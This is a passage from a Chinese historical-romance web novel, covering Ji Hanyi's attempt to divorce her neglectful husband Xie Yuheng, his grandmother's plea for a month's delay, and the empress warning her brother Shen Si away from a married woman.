难道表哥真的舍得在明年将她嫁出去么。
李眀柔眼里含了一汪泪,始终是不信的,不信表哥对她没情。
这头谢玉恒回了院子,跨进主屋却冷清一片,那个每每会在他进屋后迎出来的人不在了。
主屋内甚至连炭火都未生。
第31章 老太太,还请成全
谢玉恒就站在门口。
守候在门口的婆子见谢玉恒站在门口处迟迟没动,不由小声道:“大爷要去书房么?”
“老奴让人去将书房的火炉升起来。”
谢玉恒没说话,顿了良久问:“少夫人呢?”
婆子难得见大爷主动问起少夫人,忙开口:“少夫人在后面的廊屋里,说是有些忙。”
谢玉恒默了默眼神,又问:“她的风寒好些没有,我送来的补药可送去了?”
婆子一愣,小声道:“前些日子少夫人病的厉害些,这些日子好了些。”
“补药少夫人就吃了一回就说不用送了。”
谢玉恒一顿,皱眉问:“你没说是我送的?”
婆子哑了,又道:“与少夫人说了的,可少夫人说用不上,也没让厨房的做了。”
谢玉恒顿觉股深深无力来。
他摆摆手,让婆子退下去,又没让人跟着,独自往后屋去。
这个地方他一次也没来过,季含漪的书房他也一次没去过。
后屋的光线昏暗又冷清,但那亮着的那间屋子却格外清晰。
他甚至可以看到那窗上倒映出来的影子,能看见她正坐在窗下,提笔似在桌案上写字。
谢玉恒从未看到过季含漪写字,不知为何,或许是因为她那张稍有些妖娆的脸庞,便下意识的觉得她的才学该是寻常的。
甚至觉得她身上有一股淡淡的俗媚,不懂风雅。
现在想起来,季含漪的父亲是当时名动京城的探花郎,风姿美仪,郎绝独艳,她是季家的独女,怎么会是空有容貌的女子。
思绪到这里的时候,谢玉恒忽然意识到,他其实从未尝试过去了解她,他因她过分艳丽的容貌就先入为主。
因为当年她刁难明柔的事情就觉得她心胸狭隘。
他现在想,是不是他以为的那个季含漪,其实是他有失偏颇的认为。
谢玉恒脚下顿了顿,又往前走。
只是当他驻足在门后,却始终没有勇气抬手敲门。
他在逃避见季含漪。
谢玉恒清楚的明白,其实他是不愿和离的。
若是父亲知晓他要与季含漪和离,定然也会严厉斥责他。
谢玉恒在心里为自己找好了理由,他不是多舍不得她,也不是需要卑微的非她不可。
这是当年谢家对季家的承诺,一生一世只有一妻,即便是父辈定下的婚约,他也不是背信弃义的人。
或许过些日子,她就不提了。
说服了自己,谢玉恒转身的背影几乎有些踉跄。
一连过了好几日,谢玉恒竟然都没有再回来过,不是留在衙门的值房,就是在前院歇着,早晚不见人影。
季含漪本还想趁着快到年关,赶紧将和离的事情落幕,却没想到见不到谢玉恒的人。
这两日她开始往林氏那儿去问安,今日出来后又被谢老太太叫了去。
要说这府里头,唯一对季含漪好的,唯有谢老太太了。
谢老太太为人温和,看季含漪的眼里总是有一股怜惜慈悲,总是感叹她父亲那样的人,结局太过于草率。
谢老太太留着季含漪去了暖屋,紧紧握着她的手端详,又叫身边的婆子去将准备好的血燕给送来,又叹息道:“前些日我在礼佛,竟不知晓恒哥儿做出了这样的事情来。”
“他将你留在雪里,委屈你了。”
季含漪忙摇头:“也没委屈的,那时候事情急,大爷也没有做错。”
谢老太太目色含怜:“难为你还为他说话。”
“你别怕,等晚上我叫他来说他,让他好好给你赔罪。”
季含漪抬头,对上谢老太太眸子,轻轻道:“不需要大爷与我赔罪的,我并没有难过。”
谢老太太一顿,深深看着季含漪的眼睛,叫了屋子内的人退下去,握紧季含漪的手:“含漪,你对恒哥儿失望了是么?”
季含漪抿了下唇,依旧摇头:“我没有觉得失望。”
“那晚他留下我,是有他的道理的,我从没觉得是他的错。”
谢老太太脸色伤感:“恒哥儿性子其实自
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小就冷清,他许多事也是有主意,但他不是朝三暮四的人,他会对你好的。”
“等他夜里回来,我好好说说他,叫他改改性子。”
“含漪,你们往后还有很长的日子要过,不管怎么说,恒哥儿是有不好的,但他也没有苛待过你是不是?”
季含漪默默垂眸,想了许久又看向谢老太太,说了实话:“其实我打算与大爷和离了。”
“我知晓大爷心里不喜欢我,我没怨怪他,我只是想大爷过他舒心的日子,我也过我舒心的日子。”
“老太太,还请成全。”
季含漪没提起李眀柔的名字,一来这是谢家上下都知晓的不算秘密的事情,二来,她若说出来了,便是捅破了那层窗户纸,到时候全府上下都闹得脸上难看,那也并不是季含漪想要的。
她至始至终想的是好聚好散,不管中间为着什么,至少面子上是体面的。
再有,季含漪也从不认为她与谢玉恒到了如今地步,是全因为李眀柔,即便没有李眀柔中间挑拨,在谢玉恒心里,自己也会是最后一个。
谢老太太面露悲伤的看着季含漪的神情。
其实她今早就知道了两人和离的事情。
这事不是旁人说的,正是她最疼爱的大孙子亲口说的。
她今早叫大孙子来,本是想责怪他那日将人独自撇下带了李明柔走,那对季含漪是不公的,却没想谢玉恒却说他不想回去,是因为季含漪与他提了和离。
那时候谢玉恒神色虽然冷清,但自来规矩从容的人,今早在自己面前却露出了两分脆弱的颓态。
自己看着长大的孙子,她如何看不明白,恒哥儿这是拿这件事没法子,便想着躲避。
他心里还是舍不得季含漪的。
她只叹息,从前她常劝着他好好对含漪,明柔那丫头是与他一起长大,那丫头是好,但成了婚,总不能心里装着两个人。
从前他觉得事事胸有成竹,矢口否认,如今到了这个地步,伤透了人的心,她又能说什么。
第32章 阿肆,认得这幅画么
谢老太太又叹息,毕竟是自己的孙子,又有出息,更是打心底里喜欢季含漪这不骄不躁的温顺性子。
当年她打见着季含漪的第一眼,便喜欢她,娇柔却不造作,脉脉含情,眼眸里有一股被保护的很好的天真慈悲。
当初她看那眼神的第一眼,便知被家里教养的极好,亦是被护的好的,不怨怪,更是懂事。
这样的孩子难得,没有算计,满眼真诚,惹人喜欢。
她是希望两人能够好好的过的。
谢老太太握着季含漪的手,让她挨着来自己的身边来坐,叹声道:“我知晓你这两年在谢府过的并不高兴。”
“我那大儿媳是个会精明算计的,我当初也早让她放手让你一起管家,她偏说你年轻,其实我知道她什么心思。”
说完谢老太太看着季含漪的眼睛:“含漪,你也知道吧。”
季含漪涨了张口没说话,她只是垂眸,她心里是明白,但这并不是重要的。
或许是她看过父母亲的夫妻和睦和情深,所以才会这样在意自己枕边人的那一颗心。
她顿了下道:“我与大爷和离,与这个不相干,我也并不在意这个。”
谢老太太又拍拍季含漪的手:“我知道你说的是真心话,但过日子不就是这些事?哪家也没有个顺心的。”
“女子嫁人,便是夫君与孩子,还有家里长短。”
“不能哪一样不如意,日子便不过了。”
“我明白你心里在意的不是管家,是你婆母防着你的心思,你放心,她也老了,我会给你做主的。”
季含漪如鲠在喉,谢老太太虽说喜欢她,但她也是谢家的老太太,站的角度也只会是从谢家的角度想。
也没有真真正正的从她的角度想过。
唯有外祖母,她说累了就回吧。
外祖母懂她,她在意的不是将来成为谢家主母的身份,她只是不想沉甸甸的过一生。
她是累了。
季含漪从谢老太太的身边起来,跪在谢老太太的面前,她双膝落地,梨花白的刺绣铺在地毯上,在只有两人的屋子里,季含漪的眼神柔软又坚韧:“我与大爷早形同陌路,树已生两枝,再难过下去。”
“还请老太太成全。”
说着季含漪额头点地,匍匐的身子下,是一股让人难过的坚韧。
谢老太太看着跪在面前的人,的确是难过的。
如花似玉年轻又娇软的人,她打心底里的疼,却又深深无力,不忍硬将这样乖巧懂事的人强留在这里。
这三年里恒哥儿如何冷落人,她林林总总的也听过不少,所以为了抚慰季含漪的心,也常叫她来身边谈心说话。
如今到底是留不住了。
谢老太太红了眼眶,弯腰将季含漪扶起来。
季含漪跪着不愿起,眼里亦含了泪,声音轻轻哽咽:“求老太太成全。”
“含漪虽离了谢家,但往后忘不了老太**情,时刻记着来探望。”
谢老太太看着季含漪晕红的眼睛,泪光闪烁,娇娇气气的一张脸,小小的一张红唇半开,瞧了都心疼。
她伸出苍老的手指为季含漪拭泪,低头的眼神里满是挣扎的遗憾:“含漪,再给玉恒最后一次机会。”
“再给他一个月,一个月后,你要是还要和离,即便玉恒不答应,即便你婆母刁难你,我这老婆子也给你做主。”
季含漪张唇,迟迟开不了口。
她想走。
她甚至想立刻就离开这沉闷压抑的地方,转身头也不回。
可谢老太太的话叫她心里明白,谢老太太不会轻易的答应。
谢玉恒要是一直拖着,她更没有法子。
她不想要如泼妇那般闹,不想最后变成一地狼藉,全是怨怼。
谢老太太的眼里晶莹,低头看着季含漪,满是怜爱与难过:“含漪,这府里我最心疼的就是你了,好歹陪我这老婆子好好的过完这个年。”
“好歹让我高高兴兴的过完这个生辰,可以么?”
说着谢老太太紧拉着季含漪坐在自己的身边,看着她:“恒哥儿那孩子自小便是这样,不善言语,他心里记挂你,心里也始终有你的。”
“含漪,即便是要走,也该给他一次机会的,不是说走就走,不给两人一丝余地。”
“日子是细水长流的过,也不是一时冲动一时儿戏。”
“你放心,答应你的,我一定应你。”
季含漪从来都不觉得他与谢玉恒之间还再有机会。
不喜欢就是不喜欢。
身体本能的反应骗不了任何人。
小时候
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她与母亲一同去寺庙上香,母亲在台阶上被人撞了崴了脚,还在与方丈说话的父亲远远就能看到母亲,过来一步一步背着母亲下山。
那天大雪,谢玉恒本能的不忍李眀柔留在雪里受苦,早已经说明了他的心在哪里。
她明白谢老太太说那些话不过是为着挽留她,但到如今地步,她要想安安稳稳的和谢玉恒和离,也要谢老太太帮忙。
谢老太太的出身高贵,是安国公府的嫡女,当年嫁入谢家来也是风风观光,嫁妆无数,在京城内的结交更广,虽说在谢府不怎么管事,但在大事上,只要谢老太太出面,下头人没有一个人敢忤逆。
听说当年谢老太爷在世时,对谢老太太也是事事顺从的。
季含漪垂眸,她明白不管怎么说,谢老太太既说下这话,她没有后顾之忧,不管谢玉恒答不答应,只要她坚持,只要谢老太太作主,就能得偿所愿。
她再没话可说的。
---
皇宫内的皇后寝殿外,沈肆站在门外,即便里头已经传了两遍,他也迟迟没进去。
站在门口的太监也不敢催,每回沈侯爷从皇上那出来后,总要被皇后娘娘叫过来。
来的次数多了,宫殿里头伺候的都知道是皇后娘娘又催着沈侯爷娶妻的事儿了。
要说也不怪沈侯爷不愿进去,要谁被催的多了,耳根子也烦。
当第三道传唤出来的时候,沈肆这才往内殿踏进去。
皇后坐在暖殿里看着从外进来的沈肆,见着他肩头上的白雪,让身边宫人退下去,又看着他:“本宫还以为你站在外头不会冷的。”
沈肆不言,只是规规矩矩给皇后问安。
皇后坐在椅子上不动,对这个一向喜怒不形于色的弟弟也很是无奈。
要不是母亲常常来信让她给沈肆物色女子,她也不会催的连自己都烦了。
皇后指着身边小桌上的画卷,又看着沈肆:“阿肆,认得这幅画么。”
沈肆往小桌边走过去,看向上面铺开的画卷,是一幅雪景寒林图。
沈肆抿了抿唇,眼神沉暗,看向皇后。
皇后亦将眼神看着沈肆,打量的目光看着他:“我听说你书房里收藏了不少石澜居士的画,你应该能看出来这是出自谁手吧。”
第33章 有无数种法子得到她
沈肆听了皇后的话不语。
他坐在了小桌的另外一边,高华的面容俊美沉默,像是永远不染尘埃,眼里不入一物。
沈皇后早就习惯了自己这个弟弟这不爱说话的毛病,主要是两人也没什么能说的上话的,沈肆出生时,她已经二十,嫁给当今皇上都三年了,自己嫁了人又不好常回府去,自然姐弟之间说话的时候少。
但再少也是血浓于水的亲弟弟,她事事都操心着。
更何况沈家香火子嗣还指望着他。
沈皇后也不与沈肆卖什么关子,她将画拿到手里,看着画继续道:"这副画画的真好啊,用笔老道,形神兼备,章法严整,皴笔不多却岩壑幽深,谁能想到那位石澜居士竟是位女子呢。"
说着沈皇后眼神静静看着沈肆:“阿肆,你知道那位女子是谁么。”
沈肆侧脸映着窗外的光线,清贵的半张脸透在光影里,半明半暗,他眼神没看沈皇后,只是用近乎冷漠的声音道:“我不在乎画画的人是谁。”
沈皇后挑眉,收起画卷放在一边,声音微微带了些严肃:“阿肆,以现在的沈家,以你现在的身份,本宫不在乎你将来要娶的女子是谁。”
“你喜欢谁都可以,但你独独不能喜欢已经嫁为人妇的女子。”
沈肆挑眉,不紧不慢的从椅子上站起来,眼神淡淡的看向沈皇后:“皇后娘娘叫我来只为说这个么?”
“那皇后娘娘未免看轻了我。”
“我谁都可以喜欢,但唯独不屑觊觎人妇。”
沈皇后抬头看向沈肆,见他眉目间的神色一丝变化也没有,依旧冷淡清疏,仿佛真不曾为这件事波动过一丝心思。
但她是他的亲姐姐,比旁人更了解他。
从前没见他对石澜居士的画上心过,偏偏几年后就忽然上心了。
石澜居士的画再好,也不值得他亲自去抱山楼,更不值得他每卷都收藏着。
他书房的名家古画数不胜数,哪一幅不是价值连城,沈肆从来不做没有意义的事情,除非那画本就有不同于其他画卷的意义。
他早就知道石澜居士就是季含漪的父亲,早就知道再也不会有石澜居士的画了,他这么聪明的人,更不会不知道现在是谁在画。
沈肆不承认的事情,沈皇后知道,那就没人能逼着他承认。
她看着他:“我听说你前两日驳斥了谢寺正呈来的案卷?”
沈肆皱眉看着沈皇后,对于他的公务,他并不喜欢被人时时刻刻的盯着。
沈皇后看出沈肆眼里的意思,她道:“你不用这样看我,这件事我知晓,是你去找皇上上书这件事情的时候,我无意里听到的,不然我也不会今日找你。”
说完沈皇后皱眉,眼神难得严谨:“阿肆,今日我叫你来,是要提醒你,季家姑娘已经嫁人,是他人之妇。"
“我知道你要是有心思,你就一定能将人抢过来,但这样的事情,我希望你不能做。”
“查石林县案子的事情,不管是不是谢寺正的失误,我都希望你依旧秉公办理,别借故毁了人家。”
“阿肆,我们沈家不能做这样的事情。”
沈肆眼波无声的动了动。
晦涩一片里,他紧紧抿着唇。
他要是想毁了谢玉恒,有无数种法子可以毁了他。
他要是想要将季含漪占为己有,他也依旧又无数种法子,容不得让季含漪顺顺利利的嫁人。
甚至于即便季含漪不喜欢他,即便季含漪会反抗,他也有很多法子让她听话。
季含漪那么多的短处可以让他拿捏,她的性子是软的,他甚至可以用手段将她掌控在掌心。
但他从来不屑这么做。
那一年她做出了选择,他就不会强迫她。
他也不会主动与她有什么干系。
沈肆看向沈皇后,良久的沉默后才开口:“石林县的案子原本就有问题,无关其他的。”
“我向来公事公办。”
沈皇后听着沈肆这句话,心里头总算是放心了。
按着沈肆的性子,他能再解释一句,那便当真是这样了。
沈家是势大,但父亲自小的教导是不能恃强凌弱,要常怀悲悯,她一直秉承初心,才能在后宫里与皇上心意相通。
放心下来的沈皇后神色里又带了两分笑意道:“过几日我打算办一场赏雪宴,你得空也来一趟吧。”
沈肆没有犹豫的就拒绝:“年关公务繁忙,怕不得空。”
沈皇后就知道沈肆是这个回答,她叹息的看着沈肆:“阿肆,母亲与父亲年事已高。”
“你总要想想他们。”
“你即便要拖着,但你想要拖到什么时候?”
说着她又拿出一个画卷出来,让人送到沈肆面前:“你先瞧瞧这位女子。”
沈肆本不愿接,顿了下还是接了,这会儿不看,八成待会儿就要送到他书房去。
画卷缓缓展开,沈肆看到画中人时眼神一顿,又将幽深的眼神看向沈皇后。
沈皇后笑着问:“如何?”
“是顾家的女儿,生的明艳,性子也好,要不见见人?”
沈肆冷淡的将手中画放回去,冷脸留了句不见,转身就走了。
沈皇后看着沈肆的背影,却笑了笑。
刚才沈肆停顿的那几瞬,她便瞧出来了,自己这弟弟这还是惦记着。
但季家女儿只有一个,好在顾家有个姑娘与季家那个有两三分的像,便是这两三分的像,也叫自己这自小冷淡的弟弟多看几眼。
顾家如今虽在京城早没落了,但沈肆虽得皇上信任器重,娶一门高门妻子,怕皇上忌讳结党联姻,娶顾家女儿倒也是合适的
再有沈家如今也不需什么联姻和门当户对,沈家子弟众多,多在要职,父亲的意思是沈肆将来还要往内阁走,娶一喜欢的寻常女子,安安稳稳的,比什么都重要。
她叹息,知晓让沈肆配合来参加赏雪宴定然是不行的,她想了想,又笑了下。
殿外,外头正飘着小雪,今年的雪格外大,是大瑞丰年。
沈肆负手抬头看向飘下来的雪,思绪却由不得自己做主。
其实曾经很多时候,他不止一次的想对谢玉恒动手。
在上回听见她被一个人留在雪里的时候,更是抑控不了那股情绪。
文安站在沈肆的身边,看着大人脸上那冰凉的神情,仿佛永远都是高高在上和骄傲的,除了公事便是公事,很少见到大人失神的时候。
难道大人也有
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心事么。
他又似想起了什么,从怀里掏出封信来:"这是早上延秋门送来的,大人刚才去见皇上,所以小的没拿出来。"
沈肆看着文安的信,他知晓里头是什么,是关于谁。
他看了良久,又抬头看着飘着白雪的红墙绿瓦,指尖动了动,又收回视线迈开脚步往前走。
让文安烧了信。
文安愣愣看着手上的信,又抬头看向大人孤零零独自走在雪里的背影,他好似越来越看不懂大人在想什么了。
但文安不敢多想,从他跟着大人那一天起,大人便冷冰冰的,若是有一天他能看懂大人在想什么,那他都觉得大人不是大人了。
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谢玉恒夜里从谢老太太那里出来的一刻,脚下的步子微微有一些踉跄。
直到冷风迎面呼啸过来,他心里麻木的疼感才回归到了身体里。
他甚至在这一瞬间是怪自己祖母的。
为什么要定下两月之期。
他与季含漪从来都是好好的,她三年里温柔听话,他只是稍稍忽略了她,从来都不是什么天大的要紧的事情。
怎么可能到了和离的地步,她不过是在闹脾气而已。
即便她是真的下了决心要和离,他不松口,她就不能离开。
只要明柔定亲了就好了,她就算心里再多的委屈,也总该被抚平了。
她更恨祖母那句强求不来。
他没强求,季含漪本就是他的妻。
谢玉恒红了红眼眶,连日来公务压身,还有石林县那一桩案子在头上悬着,虽说那一桩案子即便真有问题,都察院追究他失责懈怠之过,应该惩戒也不大。
但他有了一这桩事,三年一考核政绩,第一年便出了这事,三年都无法升迁了,考核末等,还可能贬职。
谢玉恒这些日心里烦忧,这时候肩膀都垮了,身边随从忙扶住他,连声道:“爷,怎么了?”
谢玉恒低着头摆手,推开随从,又踉跄着往院子里走。
他走的很急,步履匆忙。
他急切的想要见到季含漪。
一路上疾风忽过,青石路边的景色匆匆,他眼前却总是季含漪每一个往他靠过来的动作。
她为他添茶,为他熬汤,为他熏衣,每一件微不足道的小事里,都有她的身影。
他心里空落落的。
兜头的凉意过来,他心里只又在想,再也没有了。
到底是什么没有了,**。
他只知道,什么都没有了。
到了院子,屋内再也没有明亮的烛火,窗下也没有温柔的剪影,门口处再没有那一道永远妩媚的人站在那里等他。
他怔怔站在原地,刚才在祖母那里,祖母与他说的话不断涌进他的脑中,几乎快站不稳。
门外的婆子见谢玉恒直愣愣的站在庭院里不进屋,忙过去问:“大爷?”
谢玉恒才往婆子看过去:“她呢。”
婆子微微一愣,又忙道:"少夫人还在书房的。"
谢玉恒闭了闭眼,又问婆子:“她回来过么。”
婆子有些犹豫道:“少夫人两三日没回主屋了。”
谢玉恒看着廊下昏暗的灯火又问:“她那天从雪里回来,病的厉害么,她可说过什么。”
第34章 她有什么底气和离呢
婆子听了这话又是一愣,她还是如实道:“少夫人那天回来没说什么,只是一回来就蹲在炭火前烤手,老奴看着那火都碰到了手心了,少夫人都没觉得烫。”
“那天容春去请了郎中来,郎中说少夫人的风寒很厉害,差点就要命了。”
“夜里少夫人咳了一夜,我们这些下人听了都心疼。”
谢玉恒闭上眼睛,他记得那夜。
他那夜一回来便指责她,明明看见她苍白的病色是有一些心疼的,指责的话却还是控制不住的脱口而出。
她那夜没有再因为明柔的事情与他辩驳。
是不是从那时候起,她就想要和离了。
他又忽然问:“那天我送来的蜀锦,她喜欢么?”
婆子没料到谢玉恒又忽然问起了蜀锦,她想了一会儿才道:“老奴记得那天管家将蜀锦送来的时候,管家一走,容春就抱着蜀锦出来了。”
“老奴当时问了一句,容春说拿去库房里放着。”
“少夫人喜欢定然是喜欢的,毕竟是大爷送的,怎么会不喜欢呢。”
好似再没有什么好问的了。
谢玉恒也没有再问下去的勇气。
他依旧是不可能相信,季含漪有这个决心真的与他和离的。
她若是想让他明白她的委屈,希望他多在意她,多哄她,那她的确是做到了。
尽管他并不喜欢她用这种逼迫的方式。
有了第一次,他妥协了一下,那她下一回会不会变本加厉。
其实她本不是真的想要和离的。
谢玉恒深吸一口气,让自己的心绪平复下来。
是啊,季含漪如今只剩下一个重病的母亲,她有什么底气和离呢。
谢玉恒想明白了,心绪的波动终于平静。
他没往后廊屋去,季含漪试探他,他若是太容易让她达到目的,就会让她轻易的拿捏住。
大不了最后几日他好好哄她。
她一向很好哄的。
他只是不想让她下次不要再这样任性。
谢玉恒独自往主屋内走,尽管他真的有些想念季含漪柔软温热的身子,但他要立足规矩,让她明白规矩。
不是任何事情,只要任性就能够达到目的的。
跟在谢玉恒身后的婆子简直没想明白过来,大爷问了这么多,原以为大爷会去找少夫人回来的,没想到大爷居然不问了。
院子里的这两天都看出来大爷与少夫人之间不似从前,像是闹别扭了,婆子便不由道:“大爷要老奴去叫少夫人过来么?”
谢玉恒疲倦的揉了揉眉心,摆手说不用了。
说完就独自去沐浴梳洗。
季含漪本来全没在意谢玉恒的事情,偏偏前院的婆子特意过来传话说谢玉恒回院了。
她抚了抚额头,叫容春去回了话,就说往后谢玉恒再回院,都不用来说了。
即便谢老太太说了那番话,但她与谢玉恒早就不可能了。
她知道谢老太太定然也找谢玉恒说过今日的事情,这样也好,大家心知肚明,开诚布公,也不用虚与委蛇的做那些表面功夫和说客套话。
或许这也是谢玉恒期待的结局呢。
当年他一口答应下这桩婚事,这些年她一直在想,他那时候大抵也不是真心要应的,不过是他向来道貌岸然,不愿做那个悔亲的恶人。
季含漪撑着额头,脸颊边的碎发落下来,她看着笔下画至小半的万壑图,心里升起一股委屈的怅怅。
她对谢玉恒曾经是真心的,真心的想要与他渡过一生。
所以也真的为他伤心,为两人如今唏嘘。
第二日季含漪从后廊屋出来往外走时,竟在院门口处撞见了站在那儿的谢玉恒。
他身边只跟了一人,身上披着墨绿色的斗篷,面如冠玉,灯火在他脸上零星,他生的极好,冷清又俊美。
她未出阁时,其实已经偷偷见过他,润如暖玉,形容君子,如松如石。
除了沈肆,她再没见过这样好看的一张一脸了。
其实她是期待嫁给他的。
沈肆是高不可攀的山涧孤月,是威严冷沉的无情寒石,季含漪从前接近沈肆是因为他太好看,后来是老首辅总笑吟吟叫她多去找沈肆说话,其实季含漪心里头是有点怕的,但架不住沈肆书房好东西太多。
但谢玉恒是清风明月的清冷,看着高洁如兰,彬彬有礼,进退得当,一看便觉得君子品性极好,他是有七情六欲的,不像沈肆,喜怒她都看不懂。
这会儿两人撞见,相顾无言。
其实季含漪也看出来了,两人不是这么碰巧撞见的,是他等在这里。
谢玉恒静静看着季含漪走近,她向来打扮的素净,或许她应也知晓自己生的昳艳,所以发上也总是一根玉簪或是点翠。
那樱桃小唇不涂脂亦薄红,杏眸潋滟,身上披着月白色的狐狸**斗篷,斗篷上的绒帽戴在那一头浓密的发间,拢着她小脸,她脸庞白净又线条柔和,双眸一抬,纤长浓睫轻颤,看起来不由惹人怜爱,还有两分可爱的娇气。
身娇肉嫩,叫谢玉恒瞧了半晌。
他忽意识到,季含漪生的娇气妩媚,眼眸清澈,从前日子该是被迁就娇养的,可在谢家…
季含漪也不知道谢玉恒到底在看什么,这会儿天还未亮,他又等在这里看着她,她没心思想要搭理,就想要走过去。
只是才迈开一步,一只温热的大手就忽然伸进她的斗篷里,握住她的手,低声问:“手冷么?”
季含漪失神,她自小就手脚冷,最怕冬日,被子里没有汤婆子便睡不着,这会儿手被谢玉恒大手握住,她片刻恍惚后又摇头:“不冷。”
谢玉恒抿抿唇,感受到季含漪后缩的动作,他微微握紧她的手,她的手又小又柔,握在手里便想用力握住,他忽失神,这好似是他第一次在外牵她的手。
谢玉恒没看季含漪此刻的神情,或许也是不敢看,他牵着她往前走,声音里带着他往日的平稳:“我与你一起去见母亲。”
季含漪的力气挣脱不过谢玉恒,周遭好些下人丫头,只能被他牵着往婆母那儿去。
甚至到了婆母院子的时候,谢玉恒也没松开手。
季含漪终于忍不住开口:“大爷,先松手。”
谢玉恒顿住步子,回头看向季含漪,见她细眉微蹙起,好似并不喜欢。
他还记得曾经他陪他去寺庙祈福,他仅仅只是扶了一下她的手,她便微红了脸庞,含着妇人娇美的娇羞。
现在她在抗拒,夫妻之间他握她的手,她竟抗拒。
李眀柔从外头来,见着谢玉恒与季含漪站在
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院子里没往主屋去,过来又见着谢玉恒与季含漪的手牵着,不由脸色微白。
她抬头看向谢玉恒,轻声喊:“表哥与表嫂怎么不进去?”
季含漪未看身边的李眀柔,用另一只手推开了谢玉恒,站去了一边。
掌心里的软玉离去,留下冰凉一片,谢玉恒失神片刻,又看了眼李眀柔,低声道:“走吧。”
李眀柔点点头,却抬手间将帕子捂在唇上咳了几声,只是她却见谢玉恒竟直接从身边走了过去。
她怔住。
不该是这样的,从前表哥见她咳嗽,总会关切的问她的。
她看着谢玉恒的背影,又看向跟在谢玉恒身后的季含漪,手指间的帕子捏紧。
东暖屋的林氏看着谢玉恒与季含漪一前一后的进来,没与季含漪搭话,只对谢玉恒道:“你走的一向早,怎么今日这会儿才来?不怕上值路上耽搁了?”
谢玉恒看了眼身边的季含漪:“天寒,便等着含漪一起过来。”
林氏愣了愣。
这还是谢玉恒第一回在她面前说这样的话,他之前一大不怎么上心季含漪的,今日这是怎么了。
林氏也没多想,让谢玉恒先去。
谢玉恒走前看向季含漪,当着屋子里其他人的面对她低声道:“下午我早些回来,你等我一起用晚膳。”
季含漪没应声,低垂的眼眸里什么情绪都没有。
谢玉恒深深看了季含漪一眼,这才离开。
李眀柔看着这不同寻常的这幕,心里微微凝滞。
林氏也觉得稀奇的很,稀奇的就觉得太阳打从西边升起来了。
她不由朝着季含漪问:“大爷这些日子可回房睡了?”
季含漪摇头:“不曾。”
昨夜谢玉恒在哪儿睡的她不管,即便他回了主屋睡,于她来说也没意义了。
林氏听了这话,眉头微微皱起,声音严厉起来:“你是要让玉恒绝后是不是?”
“你再这样没本事,当心即便将来玉恒休了你,也没人能说谢家一句不是的话。”
李眀柔不由将目光放在季含漪脸庞上,却见她脸上平静的什么表情都看不出来,连一点心慌都没有。
她觉得她也看不懂季含漪了。
她上回说要与谢哥哥和离,是真的么。
林氏见季含漪半晌也不答话,忽然就心烦的厉害。
她抚了抚胸口,似乎是一眼都不想要再看季含漪一眼,就叫她回去。
季含漪已求之不得,起身便退了出去。
其实要不是谢老太太说和离的事两月后再说,她大抵也要这会儿说出来的。
李眀柔怔怔看着季含漪的背影,从前季含漪可不敢直接这么走。
生不出子嗣是她的过失,从前她都是更加小心翼翼的赔不是才对的。
她又看向林氏,心下稍想了下起身过去给林氏揉肩:“姨母,三年表嫂都没怀上,是不是身子不行?要不再请郎中来看看?”
林氏心烦,拉着李眀柔在身边坐下,叹息:“也是孽缘,早知道当初即便顶着背信弃义的名声,也总好过娶了个生不出来的好。"
“三年了,连个动静都没有,平日里又闷着不说话,这几日也越发没规矩了。”
“我这几日瞧着她都烦,还连累了玉恒总睡在书房里。”
第35章 被沈肆请入轿中
李眀柔听了林氏的话,心里刚才的不舒坦才总算松懈了些。
她温声细语的陪着林氏许久,到了半上午的时候才出去。
她一出来,又往谢老太太那儿去了。
李眀柔也很清楚,要想在谢府被认可,除了姨母那里是不够的,谢老太太那儿才是最重要的。
她知晓谢老太太喜欢季含漪,但也没关系,谢老太太也喜欢她。
她投其所好,常去给谢老太太读佛经,自己也常抄写佛经供奉,得了谢老太太不少好感。
只是今日她去的时候,谢老太太却不在,说是去后园子里散心了。
李眀柔便打算作罢,只是往回走的时候,却听到前头小路传来说话声,是谢老太太的声音。
这条路是谢老太太回院子的路,应是老太太正好从外头回来了。
李眀柔才听了一句,身子就已经下意识的藏在了假山后头。
只听到谢老太太叹息的声音:“我也是没想到,含漪那孩子竟会跪在我面前求着要与玉恒和离。”
“含漪那孩子一向闷不做声的,她能跪到我这儿来,想来也是真伤透了心,我怎么能忍心呢。”
旁边的嬷嬷宽慰道:“老太太宽心,昨夜大爷往您那儿去,意思是还舍不得大少夫人呢。”
“从前瞧着大爷对大少夫人不上心,可昨夜往您那儿去,瞧着又像是要紧人。”
“老奴想着,大少夫人可能也是从前被冷落了寒心,这回大抵大爷也看清自己的心了,说不定往后能好好过日子呢。”
谢老太太叹息:“只但愿如此吧。”
“恒哥儿那孩子也是个闷的,昨夜我瞧他眼还红了,想来的确是在意人,只是从前得到的太轻易便不上心。”
“但愿他这回能好好将人哄好,我这做祖母的,到底也是想着他能好,哪里真想让两人就这么和离了,说那两个月,不过也是想让恒哥儿好好挽回了人,别到时候后悔。”
嬷嬷含笑道:“昨夜老太太让老奴去大爷院子里听听,说是怕闹起来,结果倒没闹,今早去打听的王嬷嬷来说,大爷还牵着大少夫人的手往大夫人那儿去呢。”
“瞧着样子像是和好了。”
谢老太太听了这话脸上欣慰起来:“这倒是好事。”
“恒哥儿也总算明白心疼人了。”
嬷嬷应和道:“可不是,老太太放心,往后大爷和大少夫人会好的,说不定隔不久您还能抱上曾孙呢。”
谢老太太轻轻笑了笑:“但愿吧。”
说话的声音从面前越走越远,直到再也听不见。
李眀柔从假山后头出来,只觉得浑身凉了一片。
难怪今日总觉得有些不对,原来是这样。
原来季含漪真的和谢哥哥说了和离,还求到了老太太那里。
可明明谢哥哥是讨厌季含漪的,为什么谢哥哥不愿和离呢。
李眀柔回了自己屋子,看着屋子里摆放着的每一件谢哥哥送给她的东西,又扑去小榻上红了眼眶。
这些年谢哥哥最在意的人都是她,每回谢哥哥从外头回来,也只会给她带东西,她不信谢哥哥不愿和季含漪和离。
一定是谢哥哥怕季含漪寻死觅活才没应的,季含漪怎么可能真的敢和离呢。
李眀柔想了一下午,心里也没好受些。
谢玉恒是在天黑才回来的,本想早点回来,又被事情耽误住了。
他以为他回去后,应该能看到季含漪坐在前厅里等他一起用膳的场景,那时候即便她怪他来晚了,他也向她赔罪。
只是院子里依旧冷清,主屋灯火昏暗,显然她没在。
他踏进屋子,屋子里只生了两盆炭火,并不温暖。
他记得季含漪怕冷,一到冬日,一进屋就犹如到了春日。
里屋内亦是冷清的,再没有那道娴静的人影。
谢玉恒失神片刻,问屋内侍奉的丫头:“少夫人可回来过?”
丫头规矩的一五一十的答话:“少夫人好几日不曾回来了。”
谢玉恒又问:“她用膳了没有?”
丫头便答:“少夫人下午便出去了,好似还没回来。”
